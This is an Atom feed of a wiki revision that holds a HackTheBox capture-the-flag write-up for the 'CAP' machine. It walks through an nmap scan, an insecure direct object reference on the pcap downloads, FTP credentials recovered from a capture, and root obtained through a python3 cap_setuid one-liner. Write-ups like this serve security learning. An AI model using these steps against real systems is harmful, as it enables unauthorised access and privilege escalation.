<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FCAP</id>
	<title>Write-ups/HTB/CAP - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FCAP"/>
	<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/CAP&amp;action=history"/>
	<updated>2026-04-21T14:46:45Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.45.1</generator>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Write-ups/HTB/CAP&amp;diff=1142&amp;oldid=prev</id>
		<title>imported&gt;Aghanim at 07:52, 29 June 2021</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/CAP&amp;diff=1142&amp;oldid=prev"/>
		<updated>2021-06-29T07:52:19Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;{{Infobox WriteUp&lt;br /&gt;
| name = CAP&lt;br /&gt;
| platform = HackTheBox&lt;br /&gt;
| os = Linux&lt;br /&gt;
| difficulty = Easy&lt;br /&gt;
| techniques = PCAP Analysis, SUID&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
[[File:2021-06-2134235235.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This is an interesting CTF where, based on the name of this machine, I&amp;#039;ll have to analyze a pcap file and try to get some information out of it. So as always, I start with the enumeration stage.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Enumeration ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
nmap -sV -A -oN result.nmap 10.10.10.245&lt;br /&gt;
---------------------------------------&lt;br /&gt;
# Nmap 7.91 scan initiated Tue Jun 22 12:12:53 2021 as: nmap -sV -A -oN result.nmap2 10.10.10.245&lt;br /&gt;
Nmap scan report for 10.10.10.245&lt;br /&gt;
Host is up (0.045s latency).&lt;br /&gt;
Not shown: 997 closed ports&lt;br /&gt;
PORT   STATE SERVICE VERSION&lt;br /&gt;
21/tcp open  ftp     vsftpd 3.0.3&lt;br /&gt;
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)&lt;br /&gt;
| ssh-hostkey:&lt;br /&gt;
|   3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)&lt;br /&gt;
|   256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)&lt;br /&gt;
|_  256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)&lt;br /&gt;
80/tcp open  http    gunicorn&lt;br /&gt;
| fingerprint-strings:&lt;br /&gt;
|   FourOhFourRequest:&lt;br /&gt;
|     HTTP/1.0 404 NOT FOUND&lt;br /&gt;
|     Server: gunicorn&lt;br /&gt;
|     Date: Tue, 22 Jun 2021 11:25:24 GMT&lt;br /&gt;
|     Connection: close&lt;br /&gt;
|     Content-Type: text/html; charset=utf-8&lt;br /&gt;
|     Content-Length: 232&lt;br /&gt;
|&lt;br /&gt;
|     404 Not Found&lt;br /&gt;
|     Not Found&lt;br /&gt;
|     The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.&lt;br /&gt;
|   GetRequest:&lt;br /&gt;
|     HTTP/1.0 200 OK&lt;br /&gt;
|     Server: gunicorn&lt;br /&gt;
|     Date: Tue, 22 Jun 2021 11:25:18 GMT&lt;br /&gt;
|     Connection: close&lt;br /&gt;
|     Content-Type: text/html; charset=utf-8&lt;br /&gt;
|     Content-Length: 19386&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|     Security Dashboard&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|     Bad Request&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|     Bad Request&lt;br /&gt;
|     Invalid HTTP Version &amp;#039;Invalid HTTP Version: &amp;#039;RTSP/1.0&amp;#039;&amp;#039;&lt;br /&gt;
|&lt;br /&gt;
|_&lt;br /&gt;
|_http-server-header: gunicorn&lt;br /&gt;
|_http-title: Security Dashboard&lt;br /&gt;
&lt;br /&gt;
Network Distance: 2 hops&lt;br /&gt;
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel&lt;br /&gt;
&lt;br /&gt;
TRACEROUTE (using port 1723/tcp)&lt;br /&gt;
HOP RTT      ADDRESS&lt;br /&gt;
1   44.02 ms 10.10.14.1&lt;br /&gt;
2   44.06 ms 10.10.10.245&lt;br /&gt;
&lt;br /&gt;
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .&lt;br /&gt;
# Nmap done at Tue Jun 22 12:15:18 2021 -- 1 IP address (1 host up) scanned in 145.09 second&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
From the NMAP scan I see that port 21, 22 and 80 are open. Lets check out the webserver.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2021-06-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I&amp;#039;m already logged in as the user Nathan. On the dashboard  there are vizualisation for Security events, failed login attempts and port scans.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2021-06-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On the &amp;quot;Security Snapshot (5 second PCAP + Analysis)&amp;quot; I can see from the URL that it point us to 10.10.10.245/data/8. We can try and change the last number and see if we find any data.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2021-06-image-6.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We&amp;#039;ll download the pcap file and analyze it with WireShark. We know from our enumeration stage that the server uses FTP on port 21. Search for FTP in WireShark.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2021-06-image-7.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
From the WireShark we found a username and a password. We&amp;#039;ll log into FTP with the username and password.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Gaining Access ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ftp 10.10.10.245&lt;br /&gt;
Connected to 10.10.10.245.&lt;br /&gt;
220 (vsFTPd 3.0.3)&lt;br /&gt;
Name (10.10.10.245:aghanim): nathan&lt;br /&gt;
331 Please specify the password.&lt;br /&gt;
Password:&lt;br /&gt;
230 Login successful.&lt;br /&gt;
Remote system type is UNIX.&lt;br /&gt;
Using binary mode to transfer files.&lt;br /&gt;
ftp&amp;gt; ls&lt;br /&gt;
200 PORT command successful. Consider using PASV.&lt;br /&gt;
150 Here comes the directory listing.&lt;br /&gt;
-rw-rw-r--    1 0        1001            0 Jun 28 05:24 2&lt;br /&gt;
drwxr-xr-x    3 1001     1001         4096 Jun 28 08:06 snap&lt;br /&gt;
-r--------    1 1001     1001           33 Jun 28 03:08 user.txt&lt;br /&gt;
226 Directory send OK.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
From here we find the first user flag.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We also know from the enumeration stage that port 22 is open. I&amp;#039;ll use the username and password to log into SSH.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ssh nathan@10.10.10.245&lt;br /&gt;
nathan@10.10.10.245&amp;#039;s password:&lt;br /&gt;
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-73-generic x86_64)&lt;br /&gt;
&lt;br /&gt;
Last login: Mon Jun 28 09:55:58 2021 from 10.10.14.55&lt;br /&gt;
&lt;br /&gt;
nathan@cap:~$ id&lt;br /&gt;
uid=1001(nathan) gid=1001(nathan) groups=1001(nathan)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Privilege Escalation ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now I&amp;#039;ll search to see if the user have sudo rights, SUID and capabilites to see if we can escalate our privileges.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
nathan@cap:~$ getcap -r / 2&amp;gt;/dev/null&lt;br /&gt;
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip&lt;br /&gt;
/usr/bin/ping = cap_net_raw+ep&lt;br /&gt;
/usr/bin/traceroute6.iputils = cap_net_raw+ep&lt;br /&gt;
/usr/bin/mtr-packet = cap_net_raw+ep&lt;br /&gt;
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
From [https://gtfobins.github.io/ gtfobins.github.io]: If the binary has the Linux &amp;lt;code&amp;gt;CAP_SETUID&amp;lt;/code&amp;gt; capability set or it is executed by another binary with the capability set, it can be used as a backdoor to maintain privileged access by manipulating its own process UID.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
So I&amp;#039;ll try to use the command&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
./python -c &amp;#039;import os; os.setuid(0); os.system(&amp;quot;/bin/sh&amp;quot;)&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
nathan@cap:~$ python3 -c &amp;#039;import os; os.setuid(0); os.system(&amp;quot;/bin/sh&amp;quot;)&amp;#039;&lt;br /&gt;
# id&lt;br /&gt;
uid=0(root) gid=1001(nathan) groups=1001(nathan)&lt;br /&gt;
# ls -la /root&lt;br /&gt;
total 36&lt;br /&gt;
drwx------  6 root root 4096 May 27 09:16 .&lt;br /&gt;
drwxr-xr-x 20 root root 4096 Jun  1 10:09 ..&lt;br /&gt;
lrwxrwxrwx  1 root root    9 May 15 21:40 .bash_history -&amp;gt; /dev/null&lt;br /&gt;
-rw-r--r--  1 root root 3106 Dec  5  2019 .bashrc&lt;br /&gt;
drwxr-xr-x  3 root root 4096 May 23 19:17 .cache&lt;br /&gt;
drwxr-xr-x  3 root root 4096 May 23 19:17 .local&lt;br /&gt;
-rw-r--r--  1 root root  161 Dec  5  2019 .profile&lt;br /&gt;
drwx------  2 root root 4096 May 23 19:17 .ssh&lt;br /&gt;
lrwxrwxrwx  1 root root    9 May 27 09:16 .viminfo -&amp;gt; /dev/null&lt;br /&gt;
-r--------  1 root root   33 Jun 28 03:08 root.txt&lt;br /&gt;
drwxr-xr-x  3 root root 4096 May 23 19:17 snap&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:HackTheBox]]&lt;br /&gt;
[[Category:Linux]]&lt;br /&gt;
[[Category:Write-ups]]&lt;/div&gt;</summary>
		<author><name>imported&gt;Aghanim</name></author>
	</entry>
</feed>